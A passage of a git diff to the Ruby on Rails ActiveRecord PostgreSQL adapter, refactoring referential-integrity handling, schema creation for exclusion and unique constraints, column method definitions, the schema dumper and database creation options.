             case value
             when ::Array then determine_encoding_of_strings_in_array(value.first)
@@ -138,9 +227,28 @@ def determine_encoding_of_strings_in_array(value)
           def type_cast_array(values)
             case values
             when ::Array then values.map { |item| type_cast_array(item) }
-            else _type_cast(values)
+            else type_cast(values)
             end
           end
+
+          def type_cast_range_value(value)
+            infinity?(value) ? "" : type_cast(value)
+          end
+
+          def type_cast_time_range_values(range)
+            [
+              range.begin.nil? ? "-infinity" : type_cast(range.begin),
+              range.end.nil? ? "infinity" : type_cast(range.end)
+            ]
+          end
+
+          def infinity?(value)
+            value.respond_to?(:infinite?) && value.infinite?
+          end
+
+          def date_or_time_range?(range)
+            [range.begin.class, range.end.class].intersect?([Date, DateTime, Time])
+          end
       end
     end
   end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/referential_integrity.rb b/activerecord/lib/active_record/connection_adapters/postgresql/referential_integrity.rb
index 44a7338bf5d73..e64aadf0d4628 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/referential_integrity.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/referential_integrity.rb
@@ -1,46 +1,66 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module PostgreSQL
       module ReferentialIntegrity # :nodoc:
-        def supports_disable_referential_integrity? # :nodoc:
-          true
-        end
-
         def disable_referential_integrity # :nodoc:
-          if supports_disable_referential_integrity?
-            original_exception = nil
-
-            begin
-              transaction(requires_new: true) do
-                execute(tables.collect { |name| "ALTER TABLE #{quote_table_name(name)} DISABLE TRIGGER ALL" }.join(";"))
-              end
-            rescue ActiveRecord::ActiveRecordError => e
-              original_exception = e
+          original_exception = nil
+
+          begin
+            transaction(requires_new: true) do
+              execute(tables.collect { |name| "ALTER TABLE #{quote_table_name(name)} DISABLE TRIGGER ALL" }.join(";"))
             end
+          rescue ActiveRecord::ActiveRecordError => e
+            original_exception = e
+          end
 
-            begin
-              yield
-            rescue ActiveRecord::InvalidForeignKey => e
-              warn <<-WARNING
+          begin
+            yield
+          rescue ActiveRecord::InvalidForeignKey => e
+            warn <<-WARNING
 WARNING: Rails was not able to disable referential integrity.
 
 This is most likely caused due to missing permissions.
 Rails needs superuser privileges to disable referential integrity.
 
-    cause: #{original_exception.try(:message)}
+    cause: #{original_exception&.message}
 
-              WARNING
-              raise e
-            end
+            WARNING
+            raise e
+          end
 
-            begin
-              transaction(requires_new: true) do
-                execute(tables.collect { |name| "ALTER TABLE #{quote_table_name(name)} ENABLE TRIGGER ALL" }.join(";"))
-              end
-            rescue ActiveRecord::ActiveRecordError
+          begin
+            transaction(requires_new: true) do
+              execute(tables.collect { |name| "ALTER TABLE #{quote_table_name(name)} ENABLE TRIGGER ALL" }.join(";"))
             end
-          else
-            yield
+          rescue ActiveRecord::ActiveRecordError
+          end
+        end
+
+        def check_all_foreign_keys_valid! # :nodoc:
+          sql = <<~SQL
+            do $$
+              declare r record;
+            BEGIN
+            FOR r IN (
+              SELECT FORMAT(
+                'UPDATE pg_catalog.pg_constraint SET convalidated=false WHERE conname = ''%1$I'' AND connamespace::regnamespace = ''%2$I''::regnamespace; ALTER TABLE %2$I.%3$I VALIDATE CONSTRAINT %1$I;',
+                constraint_name,
+                table_schema,
+                table_name
+              ) AS constraint_check
+              FROM information_schema.table_constraints WHERE constraint_type = 'FOREIGN KEY'
+            )
+              LOOP
+                EXECUTE (r.constraint_check);
+              END LOOP;
+            END;
+            $$;
+          SQL
+
+          transaction(requires_new: true) do
+            execute(sql)
           end
         end
       end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/schema_creation.rb b/activerecord/lib/active_record/connection_adapters/postgresql/schema_creation.rb
index e1d5089115f27..c8d28214ca0b9 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/schema_creation.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/schema_creation.rb
@@ -1,14 +1,161 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module PostgreSQL
-      class SchemaCreation < AbstractAdapter::SchemaCreation # :nodoc:
+      class SchemaCreation < SchemaCreation # :nodoc:
         private
+          delegate :quoted_include_columns_for_index, to: :@conn
+          delegate :database_version, to: :@conn
+
+          def visit_AlterTable(o)
+            sql = super
+            sql << o.constraint_validations.map { |fk| visit_ValidateConstraint fk }.join(" ")
+            sql << o.exclusion_constraint_adds.map { |con| visit_AddExclusionConstraint con }.join(" ")
+            sql << o.unique_constraint_adds.map { |con| visit_AddUniqueConstraint con }.join(" ")
+          end
+
+          def visit_AddForeignKey(o)
+            super.dup.tap do |sql|
+              sql << " NOT VALID" unless o.validate?
+            end
+          end
+
+          def visit_ForeignKeyDefinition(o)
+            super.dup.tap do |sql|
+              sql << " DEFERRABLE INITIALLY #{o.deferrable.to_s.upcase}" if o.deferrable
+            end
+          end
+
+          def visit_CheckConstraintDefinition(o)
+            super.dup.tap { |sql| sql << " NOT VALID" unless o.validate? }
+          end
+
+          def visit_ValidateConstraint(name)
+            "VALIDATE CONSTRAINT #{quote_column_name(name)}"
+          end
+
+          def visit_ExclusionConstraintDefinition(o)
+            sql = ["CONSTRAINT"]
+            sql << quote_column_name(o.name)
+            sql << "EXCLUDE"
+            sql << "USING #{o.using}" if o.using
+            sql << "(#{o.expression})"
+            sql << "WHERE (#{o.where})" if o.where
+            sql << "DEFERRABLE INITIALLY #{o.deferrable.to_s.upcase}" if o.deferrable
+
+            sql.join(" ")
+          end
+
+          def visit_UniqueConstraintDefinition(o)
+            column_name = Array(o.column).map { |column| quote_column_name(column) }.join(", ")
+
+            sql = ["CONSTRAINT"]
+            sql << quote_column_name(o.name)
+            sql << "UNIQUE"
+            sql << "NULLS NOT DISTINCT" if supports_nulls_not_distinct? && o.nulls_not_distinct
+
+            if o.using_index
+              sql << "USING INDEX #{quote_column_name(o.using_index)}"
+            else
+              sql << "(#{column_name})"
+            end
+
+            if o.deferrable
+              sql << "DEFERRABLE INITIALLY #{o.deferrable.to_s.upcase}"
+            end
+
+            sql.join(" ")
+          end
+
+          def visit_AddExclusionConstraint(o)
+            "ADD #{accept(o)}"
+          end
+
+          def visit_AddUniqueConstraint(o)
+            "ADD #{accept(o)}"
+          end
+
+          def visit_ChangeColumnDefinition(o)
+            column = o.column
+            column.sql_type = type_to_sql(column.type, **column.options)
+            quoted_column_name = quote_column_name(o.name)
+
+            change_column_sql = +"ALTER COLUMN #{quoted_column_name} TYPE #{column.sql_type}"
+
+            options = column_options(column)
+
+            if options[:collation]
+              change_column_sql << " COLLATE \"#{options[:collation]}\""
+            end
+
+            if options[:using]
+              change_column_sql << " USING #{options[:using]}"
+            elsif options[:cast_as]
+              cast_as_type = type_to_sql(options[:cast_as], **options)
+              change_column_sql << " USING CAST(#{quoted_column_name} AS #{cast_as_type})"
+            end
+
+            if options.key?(:default)
+              if options[:default].nil?
+                change_column_sql << ", ALTER COLUMN #{quoted_column_name} DROP DEFAULT"
+              else
+                quoted_default = quote_default_expression_for_column_definition(options[:default], column)
+                change_column_sql << ", ALTER COLUMN #{quoted_column_name} SET DEFAULT #{quoted_default}"
+              end
+            end
+
+            if options.key?(:null)
+              change_column_sql << ", ALTER COLUMN #{quoted_column_name} #{options[:null] ? 'DROP' : 'SET'} NOT NULL"
+            end
+
+            change_column_sql
+          end
+
+          def visit_ChangeColumnDefaultDefinition(o)
+            sql = +"ALTER COLUMN #{quote_column_name(o.column.name)} "
+            if o.default.nil?
+              sql << "DROP DEFAULT"
+            else
+              sql << "SET DEFAULT #{quote_default_expression(o.default, o.column)}"
+            end
+          end
+
           def add_column_options!(sql, options)
             if options[:collation]
               sql << " COLLATE \"#{options[:collation]}\""
             end
+
+            if as = options[:as]
+              stored = options[:stored]
+
+              if stored != true && database_version < 18_00_00
+                raise ArgumentError, <<~MSG
+                  PostgreSQL versions before 18 do not support VIRTUAL (not persisted) generated columns.
+                  Specify 'stored: true' option for '#{options[:column].name}'
+                MSG
+              end
+
+              sql << " GENERATED ALWAYS AS (#{as})"
+              sql << (stored ? " STORED" : " VIRTUAL")
+            end
             super
           end
+
+          def quoted_include_columns(o)
+            String === o ? o : quoted_include_columns_for_index(o)
+          end
+
+          # Returns any SQL string to go between CREATE and TABLE. May be nil.
+          def table_modifier_in_create(o)
+            # A table cannot be both TEMPORARY and UNLOGGED, since all TEMPORARY
+            # tables are already UNLOGGED.
+            if o.temporary
+              " TEMPORARY"
+            elsif o.unlogged
+              " UNLOGGED"
+            end
+          end
       end
     end
   end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb b/activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb
index 11ea1e5144d1e..a285adeb2992d 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb
@@ -1,7 +1,12 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module PostgreSQL
       module ColumnMethods
+        extend ActiveSupport::Concern
+        extend ConnectionAdapters::ColumnMethods::ClassMethods
+
         # Defines the primary key field.
         # Use of the native PostgreSQL UUID type is supported, and can be used
         # by defining your tables as such:
@@ -11,22 +16,10 @@ module ColumnMethods
         #     t.timestamps
         #   end
         #
-        # By default, this will use the +gen_random_uuid()+ function from the
-        # +pgcrypto+ extension. As that extension is only available in
-        # PostgreSQL 9.4+, for earlier versions an explicit default can be set
-        # to use +uuid_generate_v4()+ from the +uuid-ossp+ extension instead:
-        #
-        #   create_table :stuffs, id: false do |t|
-        #     t.primary_key :id, :uuid, default: "uuid_generate_v4()"
-        #     t.uuid :foo_id
-        #     t.timestamps
-        #   end
-        #
-        # To enable the appropriate extension, which is a requirement, use
-        # the +enable_extension+ method in your migrations.
+        # By default, this will use the <tt>gen_random_uuid()</tt> function.
         #
-        # To use a UUID primary key without any of the extensions, set the
-        # +:default+ option to +nil+:
+        # To use a UUID primary key without any defaults, set the +:default+
+        # option to +nil+:
         #
         #   create_table :stuffs, id: false do |t|
         #     t.primary_key :id, :uuid, default: nil
@@ -42,151 +35,340 @@ module ColumnMethods
         # a record (as primary keys cannot be +nil+). This might be done via the
         # +SecureRandom.uuid+ method and a +before_save+ callback, for instance.
         def primary_key(name, type = :primary_key, **options)
-          options[:auto_increment] = true if [:integer, :bigint].include?(type) && !options.key?(:default)
           if type == :uuid
             options[:default] = options.fetch(:default, "gen_random_uuid()")
-          elsif options.delete(:auto_increment) == true && %i(integer bigint).include?(type)
-            type = if type == :bigint || options[:limit] == 8
-              :bigserial
-            else
-              :serial
-            end
           end
 
           super
         end
 
-        def bigserial(*args, **options)
-          args.each { |name| column(name, :bigserial, options) }
-        end
+        ##
+        # :method: bigserial
+        # :call-seq: bigserial(*names, **options)
 
-        def bit(*args, **options)
-          args.each { |name| column(name, :bit, options) }
-        end
+        ##
+        # :method: bit
+        # :call-seq: bit(*names, **options)
 
-        def bit_varying(*args, **options)
-          args.each { |name| column(name, :bit_varying, options) }
-        end
+        ##
+        # :method: bit_varying
+        # :call-seq: bit_varying(*names, **options)
 
-        def cidr(*args, **options)
-          args.each { |name| column(name, :cidr, options) }
-        end
+        ##
+        # :method: cidr
+        # :call-seq: cidr(*names, **options)
 
-        def citext(*args, **options)
-          args.each { |name| column(name, :citext, options) }
-        end
+        ##
+        # :method: citext
+        # :call-seq: citext(*names, **options)
 
-        def daterange(*args, **options)
-          args.each { |name| column(name, :daterange, options) }
-        end
+        ##
+        # :method: daterange
+        # :call-seq: daterange(*names, **options)
+
+        ##
+        # :method: hstore
+        # :call-seq: hstore(*names, **options)
+
+        ##
+        # :method: inet
+        # :call-seq: inet(*names, **options)
+
+        ##
+        # :method: interval
+        # :call-seq: interval(*names, **options)
+
+        ##
+        # :method: int4range
+        # :call-seq: int4range(*names, **options)
+
+        ##
+        # :method: int8range
+        # :call-seq: int8range(*names, **options)
+
+        ##
+        # :method: jsonb
+        # :call-seq: jsonb(*names, **options)
 
-        def hstore(*args, **options)
-          args.each { |name| column(name, :hstore, options) }
+        ##
+        # :method: ltree
+        # :call-seq: ltree(*names, **options)
+
+        ##
+        # :method: macaddr
+        # :call-seq: macaddr(*names, **options)
+
+        ##
+        # :method: money
+        # :call-seq: money(*names, **options)
+
+        ##
+        # :method: numrange
+        # :call-seq: numrange(*names, **options)
+
+        ##
+        # :method: oid
+        # :call-seq: oid(*names, **options)
+
+        ##
+        # :method: point
+        # :call-seq: point(*names, **options)
+
+        ##
+        # :method: line
+        # :call-seq: line(*names, **options)
+
+        ##
+        # :method: lseg
+        # :call-seq: lseg(*names, **options)
+
+        ##
+        # :method: box
+        # :call-seq: box(*names, **options)
+
+        ##
+        # :method: path
+        # :call-seq: path(*names, **options)
+
+        ##
+        # :method: polygon
+        # :call-seq: polygon(*names, **options)
+
+        ##
+        # :method: circle
+        # :call-seq: circle(*names, **options)
+
+        ##
+        # :method: serial
+        # :call-seq: serial(*names, **options)
+
+        ##
+        # :method: tsrange
+        # :call-seq: tsrange(*names, **options)
+
+        ##
+        # :method: tstzrange
+        # :call-seq: tstzrange(*names, **options)
+
+        ##
+        # :method: tsvector
+        # :call-seq: tsvector(*names, **options)
+
+        ##
+        # :method: uuid
+        # :call-seq: uuid(*names, **options)
+
+        ##
+        # :method: xml
+        # :call-seq: xml(*names, **options)
+
+        ##
+        # :method: timestamptz
+        # :call-seq: timestamptz(*names, **options)
+
+        ##
+        # :method: enum
+        # :call-seq: enum(*names, **options)
+
+        define_column_methods :bigserial, :bit, :bit_varying, :cidr, :citext, :daterange,
+          :hstore, :inet, :interval, :int4range, :int8range, :jsonb, :ltree, :macaddr,
+          :money, :numrange, :oid, :point, :line, :lseg, :box, :path, :polygon, :circle,
+          :serial, :tsrange, :tstzrange, :tsvector, :uuid, :xml, :timestamptz, :enum
+      end
+
+      ExclusionConstraintDefinition = Struct.new(:table_name, :expression, :options) do
+        def name
+          options[:name]
         end
 
-        def inet(*args, **options)
-          args.each { |name| column(name, :inet, options) }
+        def using
+          options[:using]
         end
 
-        def interval(*args, **options)
-          args.each { |name| column(name, :interval, options) }
+        def where
+          options[:where]
         end
 
-        def int4range(*args, **options)
-          args.each { |name| column(name, :int4range, options) }
+        def deferrable
+          options[:deferrable]
         end
 
-        def int8range(*args, **options)
-          args.each { |name| column(name, :int8range, options) }
+        def export_name_on_schema_dump?
+          !ActiveRecord::SchemaDumper.excl_ignore_pattern.match?(name) if name
         end
+      end
 
-        def json(*args, **options)
-          args.each { |name| column(name, :json, options) }
+      UniqueConstraintDefinition = Struct.new(:table_name, :column, :options) do
+        def name
+          options[:name]
         end
 
-        def jsonb(*args, **options)
-          args.each { |name| column(name, :jsonb, options) }
+        def deferrable
+          options[:deferrable]
         end
 
-        def ltree(*args, **options)
-          args.each { |name| column(name, :ltree, options) }
+        def using_index
+          options[:using_index]
         end
 
-        def macaddr(*args, **options)
-          args.each { |name| column(name, :macaddr, options) }
+        def nulls_not_distinct
+          options[:nulls_not_distinct]
         end
 
-        def money(*args, **options)
-          args.each { |name| column(name, :money, options) }
+        def export_name_on_schema_dump?
+          !ActiveRecord::SchemaDumper.unique_ignore_pattern.match?(name) if name
         end
 
-        def numrange(*args, **options)
-          args.each { |name| column(name, :numrange, options) }
+        def defined_for?(name: nil, column: nil, **options)
+          options = options.slice(*self.options.keys)
+
+          (name.nil? || self.name == name.to_s) &&
+            (column.nil? || Array(self.column) == Array(column).map(&:to_s)) &&
+            options.all? { |k, v| self.options[k].to_s == v.to_s }
         end
+      end
+
+      # = Active Record PostgreSQL Adapter \Table Definition
+      class TableDefinition < ActiveRecord::ConnectionAdapters::TableDefinition
+        include ColumnMethods
+
+        attr_reader :exclusion_constraints, :unique_constraints, :unlogged
 
-        def oid(*args, **options)
-          args.each { |name| column(name, :oid, options) }
+        def initialize(*, **)
+          super
+          @exclusion_constraints = []
+          @unique_constraints = []
+          @unlogged = ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.create_unlogged_tables
         end
 
-        def point(*args, **options)
-          args.each { |name| column(name, :point, options) }
+        def exclusion_constraint(expression, **options)
+          exclusion_constraints << new_exclusion_constraint_definition(expression, options)
         end
 
-        def line(*args, **options)
-          args.each { |name| column(name, :line, options) }
+        def unique_constraint(column_name, **options)
+          unique_constraints << new_unique_constraint_definition(column_name, options)
         end
 
-        def lseg(*args, **options)
-          args.each { |name| column(name, :lseg, options) }
+        def new_exclusion_constraint_definition(expression, options) # :nodoc:
+          options = @conn.exclusion_constraint_options(name, expression, options)
+          ExclusionConstraintDefinition.new(name, expression, options)
         end
 
-        def box(*args, **options)
-          args.each { |name| column(name, :box, options) }
+        def new_unique_constraint_definition(column_name, options) # :nodoc:
+          options = @conn.unique_constraint_options(name, column_name, options)
+          UniqueConstraintDefinition.new(name, column_name, options)
         end
 
-        def path(*args, **options)
-          args.each { |name| column(name, :path, options) }
+        def new_column_definition(name, type, **options) # :nodoc:
+          case type
+          when :virtual
+            type = options[:type]
+          end
+
+          super
         end
 
-        def polygon(*args, **options)
-          args.each { |name| column(name, :polygon, options) }
+        private
+          def valid_column_definition_options
+            super + [:array, :using, :cast_as, :as, :type, :enum_type, :stored]
+          end
+
+          def aliased_types(name, fallback)
+            fallback
+          end
+
+          def integer_like_primary_key_type(type, options)
+            if type == :bigint || options[:limit] == 8
+              :bigserial
+            else
+              :serial
+            end
+          end
+      end
+
+      # = Active Record PostgreSQL Adapter \Table
+      class Table < ActiveRecord::ConnectionAdapters::Table
+        include ColumnMethods
+
+        # Adds an exclusion constraint.
+        #
+        #  t.exclusion_constraint("price WITH =, availability_range WITH &&", using: :gist, name: "price_check")
+        #
+        # See {connection.add_exclusion_constraint}[rdoc-ref:SchemaStatements#add_exclusion_constraint]
+        def exclusion_constraint(...)
+          @base.add_exclusion_constraint(name, ...)
         end
 
-        def circle(*args, **options)
-          args.each { |name| column(name, :circle, options) }
+        # Removes the given exclusion constraint from the table.
+        #
+        #  t.remove_exclusion_constraint(name: "price_check")
+        #
+        # See {connection.remove_exclusion_constraint}[rdoc-ref:SchemaStatements#remove_exclusion_constraint]
+        def remove_exclusion_constraint(...)
+          @base.remove_exclusion_constraint(name, ...)
         end
 
-        def serial(*args, **options)
-          args.each { |name| column(name, :serial, options) }
+        # Adds a unique constraint.
+        #
+        #  t.unique_constraint(:position, name: 'unique_position', deferrable: :deferred, nulls_not_distinct: true)
+        #
+        # See {connection.add_unique_constraint}[rdoc-ref:SchemaStatements#add_unique_constraint]
+        def unique_constraint(...)
+          @base.add_unique_constraint(name, ...)
         end
 
-        def tsrange(*args, **options)
-          args.each { |name| column(name, :tsrange, options) }
+        # Removes the given unique constraint from the table.
+        #
+        #  t.remove_unique_constraint(name: "unique_position")
+        #
+        # See {connection.remove_unique_constraint}[rdoc-ref:SchemaStatements#remove_unique_constraint]
+        def remove_unique_constraint(...)
+          @base.remove_unique_constraint(name, ...)
         end
 
-        def tstzrange(*args, **options)
-          args.each { |name| column(name, :tstzrange, options) }
+        # Validates the given constraint on the table.
+        #
+        #  t.check_constraint("price > 0", name: "price_check", validate: false)
+        #  t.validate_constraint "price_check"
+        #
+        # See {connection.validate_constraint}[rdoc-ref:SchemaStatements#validate_constraint]
+        def validate_constraint(...)
+          @base.validate_constraint(name, ...)
         end
 
-        def tsvector(*args, **options)
-          args.each { |name| column(name, :tsvector, options) }
+        # Validates the given check constraint on the table
+        #
+        #  t.check_constraint("price > 0", name: "price_check", validate: false)
+        #  t.validate_check_constraint name: "price_check"
+        #
+        # See {connection.validate_check_constraint}[rdoc-ref:SchemaStatements#validate_check_constraint]
+        def validate_check_constraint(...)
+          @base.validate_check_constraint(name, ...)
         end
+      end
+
+      # = Active Record PostgreSQL Adapter Alter \Table
+      class AlterTable < ActiveRecord::ConnectionAdapters::AlterTable
+        attr_reader :constraint_validations, :exclusion_constraint_adds, :unique_constraint_adds
 
-        def uuid(*args, **options)
-          args.each { |name| column(name, :uuid, options) }
+        def initialize(td)
+          super
+          @constraint_validations = []
+          @exclusion_constraint_adds = []
+          @unique_constraint_adds = []
         end
 
-        def xml(*args, **options)
-          args.each { |name| column(name, :xml, options) }
+        def validate_constraint(name)
+          @constraint_validations << name
         end
-      end
 
-      class TableDefinition < ActiveRecord::ConnectionAdapters::TableDefinition
-        include ColumnMethods
-      end
+        def add_exclusion_constraint(expression, options)
+          @exclusion_constraint_adds << @td.new_exclusion_constraint_definition(expression, options)
+        end
 
-      class Table < ActiveRecord::ConnectionAdapters::Table
-        include ColumnMethods
+        def add_unique_constraint(column_name, options)
+          @unique_constraint_adds << @td.new_unique_constraint_definition(column_name, options)
+        end
       end
     end
   end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/schema_dumper.rb b/activerecord/lib/active_record/connection_adapters/postgresql/schema_dumper.rb
index 5555a46b6bdb8..550516c5fdf0f 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/schema_dumper.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/schema_dumper.rb
@@ -1,20 +1,117 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module PostgreSQL
-      module ColumnDumper # :nodoc:
-        # Adds +:array+ option to the default set
-        def prepare_column_options(column)
-          spec = super
-          spec[:array] = "true" if column.array?
-          spec
-        end
-
-        # Adds +:array+ as a valid migration key
-        def migration_keys
-          super + [:array]
-        end
-
+      class SchemaDumper < ConnectionAdapters::SchemaDumper # :nodoc:
         private
+          attr_accessor :schema_name
+
+          def initialize(connection, options = {})
+            super
+
+            @dump_schemas =
+              case ActiveRecord.dump_schemas
+              when :schema_search_path
+                connection.current_schemas
+              when String
+                schema_names = ActiveRecord.dump_schemas.split(",").map(&:strip)
+                schema_names & connection.schema_names
+              else
+                connection.schema_names
+              end
+          end
+
+          def extensions(stream)
+            extensions = @connection.extensions
+            if extensions.any?
+              stream.puts "  # These are extensions that must be enabled in order to support this database"
+              extensions.sort.each do |extension|
+                stream.puts "  enable_extension #{extension.inspect}"
+              end
+              stream.puts
+            end
+          end
+
+          def types(stream)
+            within_each_schema do
+              types = @connection.enum_types
+              if types.any?
+                stream.puts "  # Custom types defined in this database."
+                stream.puts "  # Note that some types may not work with other database engines. Be careful if changing database."
+                types.sort.each do |name, values|
+                  stream.puts "  create_enum #{relation_name(name).inspect}, #{values.inspect}"
+                end
+                stream.puts
+              end
+            end
+          end
+
+          def schemas(stream)
+            schema_names = @dump_schemas - ["public"]
+
+            if schema_names.any?
+              schema_names.sort.each do |name|
+                stream.puts "  create_schema #{name.inspect}"
+              end
+              stream.puts
+            end
+          end
+
+          def tables(stream)
+            previous_schema_had_tables = false
+            within_each_schema do
+              stream.puts if previous_schema_had_tables
+              super
+              previous_schema_had_tables = @connection.tables.any?
+            end
+          end
+
+          def exclusion_constraints_in_create(table, stream)
+            if (exclusion_constraints = @connection.exclusion_constraints(table)).any?
+              exclusion_constraint_statements = exclusion_constraints.map do |exclusion_constraint|
+                parts = [ exclusion_constraint.expression.inspect ]
+                parts << "where: #{exclusion_constraint.where.inspect}" if exclusion_constraint.where
+                parts << "using: #{exclusion_constraint.using.inspect}" if exclusion_constraint.using
+                parts << "deferrable: #{exclusion_constraint.deferrable.inspect}" if exclusion_constraint.deferrable
+                parts << "name: #{exclusion_constraint.name.inspect}" if exclusion_constraint.export_name_on_schema_dump?
+
+                "    t.exclusion_constraint #{parts.join(', ')}"
+              end
+
+              stream.puts exclusion_constraint_statements.sort.join("\n")
+            end
+          end
+
+          def unique_constraints_in_create(table, stream)
+            if (unique_constraints = @connection.unique_constraints(table)).any?
+              unique_constraint_statements = unique_constraints.map do |unique_constraint|
+                parts = [ unique_constraint.column.inspect ]
+                parts << "nulls_not_distinct: #{unique_constraint.nulls_not_distinct.inspect}" if unique_constraint.nulls_not_distinct
+                parts << "deferrable: #{unique_constraint.deferrable.inspect}" if unique_constraint.deferrable
+                parts << "name: #{unique_constraint.name.inspect}" if unique_constraint.export_name_on_schema_dump?
+
+                "    t.unique_constraint #{parts.join(', ')}"
+              end
+
+              stream.puts unique_constraint_statements.sort.join("\n")
+            end
+          end
+
+          def prepare_column_options(column)
+            spec = super
+            spec[:array] = "true" if column.array?
+
+            if @connection.supports_virtual_columns? && column.virtual?
+              spec[:as] = extract_expression_for_virtual_column(column)
+              spec[:stored] = "true" if column.virtual_stored?
+              spec = { type: schema_type(column).inspect }.merge!(spec)
+            end
+
+            spec[:enum_type] = column.sql_type.inspect if column.enum?
+
+            spec
+          end
 
           def default_primary_key?(column)
             schema_type(column) == :bigserial
@@ -37,6 +134,30 @@ def schema_type(column)
           def schema_expression(column)
             super unless column.serial?
           end
+
+          def extract_expression_for_virtual_column(column)
+            column.default_function.inspect
+          end
+
+          def within_each_schema
+            @dump_schemas.each do |schema_name|
+              old_search_path = @connection.schema_search_path
+              @connection.schema_search_path = schema_name
+              self.schema_name = schema_name
+              yield
+            ensure
+              self.schema_name = nil
+              @connection.schema_search_path = old_search_path
+            end
+          end
+
+          def relation_name(name)
+            if @dump_schemas.size == 1
+              name
+            else
+              "#{schema_name}.#{name}"
+            end
+          end
       end
     end
   end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb b/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb
index a61d920a73a31..2733156938c82 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb
@@ -1,4 +1,4 @@
-require "active_support/core_ext/string/strip"
+# frozen_string_literal: true
 
 module ActiveRecord
   module ConnectionAdapters
@@ -6,15 +6,16 @@ module PostgreSQL
       module SchemaStatements
         # Drops the database specified on the +name+ attribute
         # and creates it again using the provided +options+.
-        def recreate_database(name, options = {}) #:nodoc:
+        def recreate_database(name, options = {}) # :nodoc:
           drop_database(name)
           create_database(name, options)
         end
 
         # Create a new PostgreSQL database. Options include <tt>:owner</tt>, <tt>:template</tt>,
-        # <tt>:encoding</tt> (defaults to utf8), <tt>:collation</tt>, <tt>:ctype</tt>,
-        # <tt>:tablespace</tt>, and <tt>:connection_limit</tt> (note that MySQL uses
-        # <tt>:charset</tt> while PostgreSQL uses <tt>:encoding</tt>).
+        # <tt>:encoding</tt> (defaults to utf8), <tt>:locale_provider</tt>, <tt>:locale</tt>,
+        # <tt>:collation</tt>, <tt>:ctype</tt>, <tt>:tablespace</tt>, and
+        # <tt>:connection_limit</tt> (note that MySQL uses <tt>:charset</tt> while PostgreSQL
+        # uses <tt>:encoding</tt>).
         #
         # Example:
         #   create_database config[:database], config
@@ -22,14 +23,18 @@ def recreate_database(name, options = {}) #:nodoc:
         def create_database(name, options = {})
           options = { encoding: "utf8" }.merge!(options.symbolize_keys)
 
-          option_string = options.inject("") do |memo, (key, value)|
-            memo += case key
+          option_string = options.each_with_object(+"") do |(key, value), memo|
+            memo << case key
                     when :owner
                       " OWNER = \"#{value}\""
                     when :template
                       " TEMPLATE = \"#{value}\""
                     when :encoding
                       " ENCODING = '#{value}'"
+                    when :locale_provider
+                      " LOCALE_PROVIDER = '#{value}'"
+                    when :locale
+                      " LOCALE = '#{value}'"
                     when :collation
                       " LC_COLLATE = '#{value}'"
                     when :ctype
@@ -38,7 +43,7 @@ def create_database(name, options = {})
                       " TABLESPACE = \"#{value}\""
                     when :connection_limit
                       " CONNECTION LIMIT = #{value}"
-            else
+                    else
                       ""
             end
           end
@@ -50,134 +55,65 @@ def create_database(name, options = {})
         #
         # Example:
         #   drop_database 'matt_development'
-        def drop_database(name) #:nodoc:
-          execute "DROP DATABASE IF EXISTS #{quote_table_name(name)}"
-        end
-
-        # Returns the list of all tables in the schema search path.
-        def tables
-          select_values("SELECT tablename FROM pg_tables WHERE schemaname = ANY(current_schemas(false))", "SCHEMA")
-        end
-
-        def data_sources # :nodoc
-          select_values(<<-SQL, "SCHEMA")
-            SELECT c.relname
-            FROM pg_class c
-            LEFT JOIN pg_namespace n ON n.oid = c.relnamespace
-            WHERE c.relkind IN ('r','v','m') -- (r)elation/table, (v)iew, (m)aterialized view
-            AND n.nspname = ANY (current_schemas(false))
-          SQL
-        end
-
-        def views # :nodoc:
-          select_values(<<-SQL, "SCHEMA")
-            SELECT c.relname
-            FROM pg_class c
-            LEFT JOIN pg_namespace n ON n.oid = c.relnamespace
-            WHERE c.relkind IN ('v','m') -- (v)iew, (m)aterialized view
-            AND n.nspname = ANY (current_schemas(false))
-          SQL
-        end
-
-        # Returns true if table exists.
-        # If the schema is not specified as part of +name+ then it will only find tables within
-        # the current schema search path (regardless of permissions to access tables in other schemas)
-        def table_exists?(name)
-          name = Utils.extract_schema_qualified_name(name.to_s)
-          return false unless name.identifier
-
-          select_values(<<-SQL, "SCHEMA").any?
-            SELECT tablename
-            FROM pg_tables
-            WHERE tablename = #{quote(name.identifier)}
-            AND schemaname = #{name.schema ? quote(name.schema) : "ANY (current_schemas(false))"}
-          SQL
-        end
-
-        def data_source_exists?(name) # :nodoc:
-          name = Utils.extract_schema_qualified_name(name.to_s)
-          return false unless name.identifier
-
-          select_values(<<-SQL, "SCHEMA").any?
-            SELECT c.relname
-            FROM pg_class c
-            LEFT JOIN pg_namespace n ON n.oid = c.relnamespace
-            WHERE c.relkind IN ('r','v','m') -- (r)elation/table, (v)iew, (m)aterialized view
-            AND c.relname = #{quote(name.identifier)}
-            AND n.nspname = #{name.schema ? quote(name.schema) : "ANY (current_schemas(false))"}
-          SQL
-        end
-
-        def view_exists?(view_name) # :nodoc:
-          name = Utils.extract_schema_qualified_name(view_name.to_s)
-          return false unless name.identifier
-
-          select_values(<<-SQL, "SCHEMA").any?
-            SELECT c.relname
-            FROM pg_class c
-            LEFT JOIN pg_namespace n ON n.oid = c.relnamespace
